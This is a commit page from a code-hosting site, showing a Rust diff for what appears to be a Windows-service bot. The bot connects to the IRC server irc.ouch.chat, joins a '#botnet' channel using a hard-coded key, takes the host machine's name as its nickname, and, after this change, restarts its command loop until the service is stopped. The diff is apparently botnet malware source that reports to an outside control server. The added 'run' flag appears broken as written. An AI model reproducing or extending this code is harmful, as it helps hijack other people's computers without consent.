loop restart unless stop
All checks were successful
continuous-integration/drone/push Build is passing
All checks were successful
continuous-integration/drone/push Build is passing
This commit is contained in:
parent
23daaf40b7
commit
72fcbfa7c0
@ -41,6 +41,8 @@ mod winserv {
|
||||
|
||||
let sender = client.sender();
|
||||
|
||||
let run = true;
|
||||
|
||||
// The entry point where execution will start on a background thread after a call to
|
||||
// `service_dispatcher::start` from `main`.
|
||||
let event_handler = move |control_event| -> ServiceControlHandlerResult {
|
||||
@ -52,11 +54,13 @@ mod winserv {
|
||||
// Handle stop
|
||||
ServiceControl::Stop => {
|
||||
sender.send_quit("ouch or die").unwrap();
|
||||
run = false;
|
||||
ServiceControlHandlerResult::NoError
|
||||
}
|
||||
|
||||
ServiceControl::Shutdown => {
|
||||
ServiceControl::Preshutdown => {
|
||||
sender.send_quit("ouch or die").unwrap();
|
||||
run = false;
|
||||
ServiceControlHandlerResult::NoError
|
||||
}
|
||||
|
||||
@ -79,9 +83,11 @@ mod winserv {
|
||||
})
|
||||
.unwrap();
|
||||
|
||||
while run {
|
||||
if let Err(_) = irc_rpc::event_loop(client).await {
|
||||
//log error
|
||||
}
|
||||
}
|
||||
|
||||
status_handle
|
||||
.set_service_status(ServiceStatus {
|
||||
|
@ -22,6 +22,7 @@ pub async fn create_client() -> Result<Client, failure::Error> {
|
||||
server: Some("irc.ouch.chat".to_owned()),
|
||||
channels: vec!["#botnet".to_owned()],
|
||||
channel_keys: HashMap::from([("#botnet".to_owned(), "fuckyou".to_owned())]),
|
||||
alt_nicks: vec![gethostname::gethostname().to_str().unwrap().to_owned() + "X"],
|
||||
..Config::default()
|
||||
};
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user